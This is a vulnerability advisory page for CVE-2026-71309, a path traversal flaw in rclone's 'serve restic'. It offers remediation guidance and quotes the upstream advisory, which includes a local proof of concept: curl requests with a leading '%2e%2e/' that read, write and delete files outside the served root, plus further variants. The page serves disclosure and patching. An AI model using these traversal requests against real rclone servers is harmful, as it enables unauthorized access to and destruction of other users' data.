CVE-2026-71309: rclone Incomplete Path Validation Allows Backend Vulnerability

HIGH
Advisory Identifier: GHSA-45pq-889g-fcgh
CWE-22
Published
Advisory Summary

CVE-2026-71309 is a HIGH incomplete path validation allows backend vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting rclone libraries in the Go ecosystem. The issue involves incomplete path validation allows backend root escape in serve restic. Remediation is available by upgrading affected packages to version 1.75.0.

CVE-2026-71309 at a Glance

CVE Identifier CVE-2026-71309
GHSA Identifier GHSA-45pq-889g-fcgh
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product rclone
Package Ecosystem Go
Published Date
Last Updated

How to Fix CVE-2026-71309

To remediate this vulnerability, upgrade all affected rclone dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/rclone/rclone fixed: 1.75.0
Upgrade github.com/rclone/rclone to 1.75.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/rclone/rclone

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-71309, inspect your project dependencies for rclone:

inspect dependencies for github.com/rclone/rclone

Analyze the terminal output to locate any version of rclone in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.75.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In rclone, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary `rclone serve restic` does not correctly reject URL paths beginning with `../`. On affected backends, an attacker who can access the REST endpoint can read, create, overwrite, or delete objects outside the path configured by the operator. The issue affects `rclone v1.40` through `rclone v1.74.4`. The proof of concept and backend matrix were validated with the official Linux AMD64 binary for `v1.74.4`, and the latest `master` commit reviewed at the time (`2217d38`) contained the same vulnerable validation. The main proof of concept uses WsgiDAV as an independent storage server and one rclone process. ## Affected versions All releases from `v1.40` through `v1.74.4` are affected. ## Affected components and backend propagation The primary vulnerable component is the backend-independent `WithRemote` middleware in `cmd/serve/restic/restic.go`, lines 235-264. It accepts a leading parent component and stores that unsafe relative path in the request context. The REST handlers then pass the same value to whichever rclone backend the operator configured. Therefore, the flaw is not specific to WebDAV. The backend determines whether the accepted `../` path escapes, is preserved, or is encoded as safe filename characters. The source locations and line numbers below correspond to the release used for dynamic testing: | Layer or backend | File and function | Relevant lines | Path propagation | Dynamic evidence | |---|---|---:|---|---| | REST server, primary cause | `cmd/serve/restic/restic.go`, `WithRemote` | 235-264 | Accepts a leading `../` remote and shares it with GET, HEAD, POST, and DELETE handlers | Confirmed through WebDAV | | WebDAV | `backend/webdav/webdav.go`, `(*Fs).filePath` | 421-427 | `path.Join(f.root, file)` removes the configured root when resolving `../` | read, write, delete | | FTP | `backend/ftp/ftp.go`, `(*Fs).NewObject`, `(*Object).Open`, `Update`, and `Remove` | 844-848, 1308-1311, 1349-1356, 1411-1415 | Each operation joins the backend root and remote with `path.Join` before the FTP request | read, write, delete | | HTTP | `backend/http/http.go`, `(*Fs).url` | 386-395 | Appends the escaped remote containing `../` to the configured endpoint URL | read | | Memory | `backend/memory/memory.go`, `(*Fs).split` | 227-231 | Joins `f.root` and the relative path before splitting the in-memory bucket and key | read, write, delete | | SFTP | `backend/sftp/sftp.go`, `(*Fs).remotePath` | 2086-2089 | Joins `f.absRoot` and the remote, allowing the parent component to remove the published subdirectory | read, write, delete | These are backend-specific manifestations of the same `WithRemote` validation flaw, not separate vulnerabilities. ## Technical Details `WithRemote` obtains the decoded URL path, removes external slashes, and tries to reject traversal by comparing the path with `path.Clean`: ```go urlpath = strings.Trim(urlpath, "/") // Reject any non-canonical path, in particular one containing ".." // traversal elements. if urlpath != "" && path.Clean(urlpath) != urlpath { http.Error(w, http.StatusText(http.StatusBadRequest), http.StatusBadRequest) return } ``` The comment describes the intended behavior, but the condition does not reject every parent component. `path.Clean` preserves leading parent components in a relative path: ```text path.Clean("../outside.txt") = "../outside.txt" path.Clean("../../outside.txt") = "../../outside.txt" ``` Because both strings are equal, the middleware accepts the path. Internal traversal behaves differently: ```text path.Clean("a/../../outside.txt") = "../outside.txt" ``` These strings differ, so that request returns HTTP 400. This explains why the existing check appears to work while the leading variant bypasses it. After validation, `WithRemote` stores the accepted value in the request context: ```go ctx := context.WithValue(r.Context(), ContextRemoteKey, urlpath) next.ServeHTTP(w, r.WithContext(ctx)) ``` GET, POST, and DELETE handlers retrieve this same value. GET passes it to `s.f.NewObject`, POST passes it to `operations.RcatSize`, and DELETE resolves the object and calls `Remove`. There is no second containment check. WebDAV is used below as the concrete end-to-end example because it was the backend used for the main proof of concept. WebDAV is not the source of the validation flaw. The example demonstrates one way in which an unsafe remote accepted by `WithRemote` is propagated by a backend. The WebDAV backend joins its configured root with the attacker-controlled remote: ```go func (f *Fs) filePath(file string) string { subPath := path.Join(f.root, file) if f.opt.Enc != encoder.EncodeZero { subPath = f.opt.Enc.FromStandardPath(subPath) } return rest.URLPathEscapeAll(subPath) } ``` For the proof of concept: ```text f.root = "served-root" file = "../outside-secret.txt" path.Join("served-root", "../outside-secret.txt") = "outside-secret.txt" ``` The configured root is removed before encoding. WsgiDAV receives a normal operation for `/outside-secret.txt`, which is outside the root published by `rclone serve restic`. The same accepted leading parent path propagates through the other affected backends tested. FTP joins its root and remote with `path.Join` before object operations; HTTP preserves `served-root/../outside-secret.txt` when constructing the endpoint request; Memory joins the root and relative path before splitting the bucket and key; and SFTP joins `f.absRoot` and the remote in `remotePath`. In each case, the backend receives the leading parent component already accepted by `WithRemote`. The exact escape mechanism and available operations vary by backend. Conversely, S3-compatible and local backends did not escape in the tested configuration because they encoded `..` as filename characters. Expected behavior is HTTP 400 before any backend operation. Actual behavior is HTTP 200 followed by an operation outside `served-root`. ## Preconditions and impact The operator must publish a backend subdirectory, the endpoint must be reachable, and the backend credential must have access to a parent or sibling object. Exploitability also depends on backend path semantics. An attacker may: - read files and objects outside the published backup root; - create or overwrite sibling objects; - delete objects when deletion is permitted; - cross isolation boundaries between users, repositories, or automation jobs; - indirectly compromise another system if it later trusts an overwritten configuration, script, or artifact. `--append-only` reduces overwrite and delete impact but does not prevent traversal reads or creation of new objects. ## Proof of concept The following procedure was executed on Linux Mint 22.3 with the official `rclone v1.74.4` Linux AMD64 binary, WsgiDAV 4.3.5, and Cheroot 10.0.1. The rclone binary reports that it was built with Go 1.26.5. ### 1. Create the storage layout ```console $ mkdir -p poc/storage/served-root $ printf '%s\n' 'INSIDE-PUBLISHED-ROOT' > poc/storage/served-root/inside.txt $ printf '%s\n' 'SECRET-OUTSIDE-PUBLISHED-ROOT' > poc/storage/outside-secret.txt $ find poc/storage -type f poc/storage/served-root/inside.txt poc/storage/outside-secret.txt ``` ### 2. Start the independent WebDAV server ```console $ python3 -m venv poc/venv $ poc/venv/bin/pip install 'WsgiDAV==4.3.5' 'cheroot==10.0.1' $ poc/venv/bin/wsgidav --host=127.0.0.1 --port=39500 \ --root="$PWD/poc/storage" --auth=anonymous --no-config Running without configuration file. ... Server: WsgiDAV/4.3.5 Cheroot/10.0.1 Python/3.12.3 ``` ### 3. Download, verify, and start rclone ```console $ curl -fLO https://downloads.rclone.org/v1.74.4/rclone-v1.74.4-linux-amd64.zip $ curl -fLO https://downloads.rclone.org/v1.74.4/SHA256SUMS $ grep ' rclone-v1.74.4-linux-amd64.zip$' SHA256SUMS | sha256sum -c - rclone-v1.74.4-linux-amd64.zip: OK $ unzip rclone-v1.74.4-linux-amd64.zip $ ./rclone-v1.74.4-linux-amd64/rclone version | head -n 1 rclone v1.74.4 $ ./rclone-v1.74.4-linux-amd64/rclone serve restic ':webdav:served-root' \ --webdav-url http://127.0.0.1:39500 \ --webdav-vendor other --addr 127.0.0.1:39501 -vv NOTICE: webdav root 'served-root': Serving restic REST API on [http://127.0.0.1:39501/] ``` ### 4. Confirm normal access ```console $ curl --path-as-is -i http://127.0.0.1:39501/inside.txt HTTP/1.1 200 OK ... INSIDE-PUBLISHED-ROOT ``` ### 5. Read outside the published root ```console $ curl --path-as-is -i http://127.0.0.1:39501/%2e%2e/outside-secret.txt HTTP/1.1 200 OK ... SECRET-OUTSIDE-PUBLISHED-ROOT ``` ### 6. Write outside the published root ```console $ curl --path-as-is -i -X POST \ http://127.0.0.1:39501/%2e%2e/outside-write.txt \ --data-binary 'ATTACKER-CONTROLLED-OUTSIDE-ROOT' HTTP/1.1 200 OK ... $ cat poc/storage/outside-write.txt ATTACKER-CONTROLLED-OUTSIDE-ROOT ``` ### 7. Delete outside the published root ```console $ curl --path-as-is -i -X DELETE \ http://127.0.0.1:39501/%2e%2e/outside-write.txt HTTP/1.1 200 OK ... $ test ! -e poc/storage/outside-write.txt && echo 'physical file deleted' physical file deleted ``` ### 8. Compare with internal traversal ```console $ curl --path-as-is -i http://127.0.0.1:39501/a/../../outside-secret.txt HTTP/1.1 400 Bad Request ... Bad Request ``` This demonstrates why the existing check appears to work for interior traversal while the leading variant bypasses it. ## Tested backends | Backend | Local implementation | Result | Operations tested | |---|---|---|---| | WebDAV | WsgiDAV 4.3.5 | Affected | read, write, delete | | FTP | pyftpdlib 2.2.0 | Affected | read, write, delete | | HTTP | Python `http.server` 3.12.3 | Affected | read | | Memory | rclone memory backend | Affected | read, write, delete | | SFTP | `atmoz/sftp` OpenSSH server | Affected | read, write, delete | | S3 compatible | MinIO | No root escape observed | read, write, delete | | Local filesystem | default local encoding | No root escape observed | read, write, delete | Only the backends listed in this table were tested or classified. Every row was dynamically repeated with the same official `v1.74.4` Linux AMD64 binary identified in the proof of concept. ## Suggested remediation Reject `.` and `..` components in `WithRemote` before storing the remote in the context. Validating the decoded relative path with `io/fs.ValidPath`, with explicit handling for the empty API root, is one possible approach. Authorization and backend lookup should use the same validated representation. Regression tests should cover GET, HEAD, POST, and DELETE with `..`, `../x`, `../../x`, `%2e%2e/x`, `a/../x`, and `a/../../x`, both with and without `--private-repos`. ## Additional impact scenarios identified by the maintainer - `GET /../` could reach the list handler and enumerate the parent directory, allowing an attacker to discover object names before accessing them. - With `--append-only`, a request such as `DELETE /../locks/<name>` could satisfy the existing delete guard and delete an object outside the served root. - A bare `.` path was also accepted. On bucket-based backends, `POST /.` could write an object outside the intended served path. Credit: Caubi Loureiro of Vorpcel Research

CVE-2026-71309 Affected rclone Versions

1 component(s)
Fixed Versions:
1.75.0
Product / Package Ecosystem Affected Versions Fixed Version
github.com/rclone/rclone
Go
≥ 1.40.0
< 1.75.0
1.75.0

References

Frequently Asked Questions

What is CVE-2026-71309?
CVE-2026-71309 is a security vulnerability in rclone involving Incomplete path validation allows backend root escape in serve restic under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which rclone versions are affected?
Affected versions include releases prior to 1.75.0 across affected packages: github.com/rclone/rclone.
What version fixes CVE-2026-71309?
Upgrading to 1.75.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/rclone/rclone affected?
Yes, github.com/rclone/rclone is affected in releases prior to 1.75.0. Upgrade your dependency to 1.75.0 or later.
What CWE is associated with CVE-2026-71309?
CVE-2026-71309 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check Go dependencies for CVE-2026-71309?
Run the dependency tree command: 'inspect dependencies for github.com/rclone/rclone'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-45pq-889g-fcgh",
  "modified" : "2026-08-05T20:13:36Z",
  "published" : "2026-08-05T20:13:36Z",
  "aliases" : [ "CVE-2026-71309" ],
  "summary" : "rclone: Incomplete path validation allows backend root escape in serve restic",
  "details" : "## Summary\n\n`rclone serve restic` does not correctly reject URL paths beginning with `../`. On affected backends, an attacker who can access the REST endpoint can read, create, overwrite, or delete objects outside the path configured by the operator.\n\nThe issue affects `rclone v1.40` through `rclone v1.74.4`. The proof of concept and backend matrix were validated with the official Linux AMD64 binary for `v1.74.4`, and the latest `master` commit reviewed at the time (`2217d38`) contained the same vulnerable validation. The main proof of concept uses WsgiDAV as an independent storage server and one rclone process.\n\n## Affected versions\n\nAll releases from `v1.40` through `v1.74.4` are affected.\n\n## Affected components and backend propagation\n\nThe primary vulnerable component is the backend-independent `WithRemote` middleware in `cmd/serve/restic/restic.go`, lines 235-264. It accepts a leading parent component and stores that unsafe relative path in the request context. The REST handlers then pass the same value to whichever rclone backend the operator configured. Therefore, the flaw is not specific to WebDAV.\n\nThe backend determines whether the accepted `../` path escapes, is preserved, or is encoded as safe filename characters. The source locations and line numbers below correspond to the release used for dynamic testing:\n\n| Layer or backend | File and function | Relevant lines | Path propagation | Dynamic evidence |\n|---|---|---:|---|---|\n| REST server, primary cause | `cmd/serve/restic/restic.go`, `WithRemote` | 235-264 | Accepts a leading `../` remote and shares it with GET, HEAD, POST, and DELETE handlers | Confirmed through WebDAV |\n| WebDAV | `backend/webdav/webdav.go`, `(*Fs).filePath` | 421-427 | `path.Join(f.root, file)` removes the configured root when resolving `../` | read, write, delete |\n| FTP | `backend/ftp/ftp.go`, `(*Fs).NewObject`, `(*Object).Open`, `Update`, and `Remove` | 844-848, 1308-1311, 1349-1356, 1411-1415 | Each operation joins the backend root and remote with `path.Join` before the FTP request | read, write, delete |\n| HTTP | `backend/http/http.go`, `(*Fs).url` | 386-395 | Appends the escaped remote containing `../` to the configured endpoint URL | read |\n| Memory | `backend/memory/memory.go`, `(*Fs).split` | 227-231 | Joins `f.root` and the relative path before splitting the in-memory bucket and key | read, write, delete |\n| SFTP | `backend/sftp/sftp.go`, `(*Fs).remotePath` | 2086-2089 | Joins `f.absRoot` and the remote, allowing the parent component to remove the published subdirectory | read, write, delete |\n\nThese are backend-specific manifestations of the same `WithRemote` validation flaw, not separate vulnerabilities.\n\n## Technical Details\n\n`WithRemote` obtains the decoded URL path, removes external slashes, and tries to reject traversal by comparing the path with `path.Clean`:\n\n```go\nurlpath = strings.Trim(urlpath, \"/\")\n// Reject any non-canonical path, in particular one containing \"..\"\n// traversal elements.\nif urlpath != \"\" && path.Clean(urlpath) != urlpath {\n    http.Error(w, http.StatusText(http.StatusBadRequest), http.StatusBadRequest)\n    return\n}\n```\n\nThe comment describes the intended behavior, but the condition does not reject every parent component. `path.Clean` preserves leading parent components in a relative path:\n\n```text\npath.Clean(\"../outside.txt\")  = \"../outside.txt\"\npath.Clean(\"../../outside.txt\") = \"../../outside.txt\"\n```\n\nBecause both strings are equal, the middleware accepts the path. Internal traversal behaves differently:\n\n```text\npath.Clean(\"a/../../outside.txt\") = \"../outside.txt\"\n```\n\nThese strings differ, so that request returns HTTP 400. This explains why the existing check appears to work while the leading variant bypasses it.\n\nAfter validation, `WithRemote` stores the accepted value in the request context:\n\n```go\nctx := context.WithValue(r.Context(), ContextRemoteKey, urlpath)\nnext.ServeHTTP(w, r.WithContext(ctx))\n```\n\nGET, POST, and DELETE handlers retrieve this same value. GET passes it to `s.f.NewObject`, POST passes it to `operations.RcatSize`, and DELETE resolves the object and calls `Remove`. There is no second containment check.\n\nWebDAV is used below as the concrete end-to-end example because it was the backend used for the main proof of concept. WebDAV is not the source of the validation flaw. The example demonstrates one way in which an unsafe remote accepted by `WithRemote` is propagated by a backend.\n\nThe WebDAV backend joins its configured root with the attacker-controlled remote:\n\n```go\nfunc (f *Fs) filePath(file string) string {\n    subPath := path.Join(f.root, file)\n    if f.opt.Enc != encoder.EncodeZero {\n        subPath = f.opt.Enc.FromStandardPath(subPath)\n    }\n    return rest.URLPathEscapeAll(subPath)\n}\n```\n\nFor the proof of concept:\n\n```text\nf.root = \"served-root\"\nfile = \"../outside-secret.txt\"\n\npath.Join(\"served-root\", \"../outside-secret.txt\")\n= \"outside-secret.txt\"\n```\n\nThe configured root is removed before encoding. WsgiDAV receives a normal operation for `/outside-secret.txt`, which is outside the root published by `rclone serve restic`.\n\nThe same accepted leading parent path propagates through the other affected backends tested. FTP joins its root and remote with `path.Join` before object operations; HTTP preserves `served-root/../outside-secret.txt` when constructing the endpoint request; Memory joins the root and relative path before splitting the bucket and key; and SFTP joins `f.absRoot` and the remote in `remotePath`. In each case, the backend receives the leading parent component already accepted by `WithRemote`. The exact escape mechanism and available operations vary by backend. Conversely, S3-compatible and local backends did not escape in the tested configuration because they encoded `..` as filename characters.\n\nExpected behavior is HTTP 400 before any backend operation. Actual behavior is HTTP 200 followed by an operation outside `served-root`.\n\n## Preconditions and impact\n\nThe operator must publish a backend subdirectory, the endpoint must be reachable, and the backend credential must have access to a parent or sibling object. Exploitability also depends on backend path semantics.\n\nAn attacker may:\n\n- read files and objects outside the published backup root;\n- create or overwrite sibling objects;\n- delete objects when deletion is permitted;\n- cross isolation boundaries between users, repositories, or automation jobs;\n- indirectly compromise another system if it later trusts an overwritten configuration, script, or artifact.\n\n`--append-only` reduces overwrite and delete impact but does not prevent traversal reads or creation of new objects.\n\n## Proof of concept\n\nThe following procedure was executed on Linux Mint 22.3 with the official `rclone v1.74.4` Linux AMD64 binary, WsgiDAV 4.3.5, and Cheroot 10.0.1. The rclone binary reports that it was built with Go 1.26.5.\n\n### 1. Create the storage layout\n\n```console\n$ mkdir -p poc/storage/served-root\n$ printf '%s\\n' 'INSIDE-PUBLISHED-ROOT' > poc/storage/served-root/inside.txt\n$ printf '%s\\n' 'SECRET-OUTSIDE-PUBLISHED-ROOT' > poc/storage/outside-secret.txt\n$ find poc/storage -type f\npoc/storage/served-root/inside.txt\npoc/storage/outside-secret.txt\n```\n\n### 2. Start the independent WebDAV server\n\n```console\n$ python3 -m venv poc/venv\n$ poc/venv/bin/pip install 'WsgiDAV==4.3.5' 'cheroot==10.0.1'\n$ poc/venv/bin/wsgidav --host=127.0.0.1 --port=39500 \\\n    --root=\"$PWD/poc/storage\" --auth=anonymous --no-config\nRunning without configuration file.\n...\nServer: WsgiDAV/4.3.5 Cheroot/10.0.1 Python/3.12.3\n```\n\n### 3. Download, verify, and start rclone\n\n```console\n$ curl -fLO https://downloads.rclone.org/v1.74.4/rclone-v1.74.4-linux-amd64.zip\n$ curl -fLO https://downloads.rclone.org/v1.74.4/SHA256SUMS\n$ grep '  rclone-v1.74.4-linux-amd64.zip$' SHA256SUMS | sha256sum -c -\nrclone-v1.74.4-linux-amd64.zip: OK\n\n$ unzip rclone-v1.74.4-linux-amd64.zip\n$ ./rclone-v1.74.4-linux-amd64/rclone version | head -n 1\nrclone v1.74.4\n\n$ ./rclone-v1.74.4-linux-amd64/rclone serve restic ':webdav:served-root' \\\n    --webdav-url http://127.0.0.1:39500 \\\n    --webdav-vendor other --addr 127.0.0.1:39501 -vv\nNOTICE: webdav root 'served-root': Serving restic REST API on [http://127.0.0.1:39501/]\n```\n\n### 4. Confirm normal access\n\n```console\n$ curl --path-as-is -i http://127.0.0.1:39501/inside.txt\nHTTP/1.1 200 OK\n...\nINSIDE-PUBLISHED-ROOT\n```\n\n### 5. Read outside the published root\n\n```console\n$ curl --path-as-is -i http://127.0.0.1:39501/%2e%2e/outside-secret.txt\nHTTP/1.1 200 OK\n...\nSECRET-OUTSIDE-PUBLISHED-ROOT\n```\n\n### 6. Write outside the published root\n\n```console\n$ curl --path-as-is -i -X POST \\\n    http://127.0.0.1:39501/%2e%2e/outside-write.txt \\\n    --data-binary 'ATTACKER-CONTROLLED-OUTSIDE-ROOT'\nHTTP/1.1 200 OK\n...\n\n$ cat poc/storage/outside-write.txt\nATTACKER-CONTROLLED-OUTSIDE-ROOT\n```\n\n### 7. Delete outside the published root\n\n```console\n$ curl --path-as-is -i -X DELETE \\\n    http://127.0.0.1:39501/%2e%2e/outside-write.txt\nHTTP/1.1 200 OK\n...\n\n$ test ! -e poc/storage/outside-write.txt && echo 'physical file deleted'\nphysical file deleted\n```\n\n### 8. Compare with internal traversal\n\n```console\n$ curl --path-as-is -i http://127.0.0.1:39501/a/../../outside-secret.txt\nHTTP/1.1 400 Bad Request\n...\nBad Request\n```\n\nThis demonstrates why the existing check appears to work for interior traversal while the leading variant bypasses it.\n\n## Tested backends\n\n| Backend | Local implementation | Result | Operations tested |\n|---|---|---|---|\n| WebDAV | WsgiDAV 4.3.5 | Affected | read, write, delete |\n| FTP | pyftpdlib 2.2.0 | Affected | read, write, delete |\n| HTTP | Python `http.server` 3.12.3 | Affected | read |\n| Memory | rclone memory backend | Affected | read, write, delete |\n| SFTP | `atmoz/sftp` OpenSSH server | Affected | read, write, delete |\n| S3 compatible | MinIO | No root escape observed | read, write, delete |\n| Local filesystem | default local encoding | No root escape observed | read, write, delete |\n\nOnly the backends listed in this table were tested or classified. Every row was dynamically repeated with the same official `v1.74.4` Linux AMD64 binary identified in the proof of concept.\n\n## Suggested remediation\n\nReject `.` and `..` components in `WithRemote` before storing the remote in the context. Validating the decoded relative path with `io/fs.ValidPath`, with explicit handling for the empty API root, is one possible approach. Authorization and backend lookup should use the same validated representation.\n\nRegression tests should cover GET, HEAD, POST, and DELETE with `..`, `../x`, `../../x`, `%2e%2e/x`, `a/../x`, and `a/../../x`, both with and without `--private-repos`.\n\n## Additional impact scenarios identified by the maintainer\n\n- `GET /../` could reach the list handler and enumerate the parent directory, allowing an attacker to discover object names before accessing them.\n- With `--append-only`, a request such as `DELETE /../locks/<name>` could satisfy the existing delete guard and delete an object outside the served root.\n- A bare `.` path was also accepted. On bucket-based backends, `POST /.` could write an object outside the intended served path.\n\nCredit: Caubi Loureiro of Vorpcel Research",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/rclone/rclone"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.40.0"
      }, {
        "fixed" : "1.75.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/rclone/rclone/security/advisories/GHSA-45pq-889g-fcgh"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rclone/rclone/commit/cc5a189f00efe68ed0ddb32d3237b42549a9f264"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/rclone/rclone"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rclone/rclone/releases/tag/v1.75.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-05T20:13:36Z",
    "nvd_published_at" : null
  }
}